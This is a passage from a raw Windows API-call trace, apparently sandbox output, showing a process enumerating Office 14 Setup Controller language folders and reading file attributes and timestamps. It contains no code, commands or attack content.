ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9c40 [0048.589] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb5a0 [0048.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.589] GetLastError () returned 0x12 [0048.589] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0048.589] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0048.589] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.589] GetLastError () returned 0x12 [0048.589] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0048.589] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0048.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0048.591] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0048.591] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="")) returned 1 [0048.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0048.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0048.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0048.600] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0048.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0048.855] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0048.856] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0048.856] NtClose (Handle=0x174) returned 0x0 [0048.858] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0048.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.858] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0048.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0048.860] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.257] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.258] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.258] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9c60 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb6a8 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9c80 [0049.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb7b0 [0049.258] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.258] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.258] GetLastError () returned 0x12 [0049.258] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.259] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.259] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.259] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0049.259] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.259] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.259] GetLastError () returned 0x12 [0049.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.259] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.259] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.259] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="")) returned 1 [0049.259] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.259] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0049.366] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec5b0 [0049.366] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec5b0, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeec5b0, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec5b0) returned 1 [0049.366] NtClose (Handle=0x178) returned 0x0 [0049.366] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.367] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ca0 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb8b8 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9cc0 [0049.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb9c0 [0049.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.368] GetLastError () returned 0x12 [0049.368] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.368] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="")) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.368] GetLastError () returned 0x12 [0049.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.368] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.368] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.368] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="")) returned 1 [0049.368] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us"), 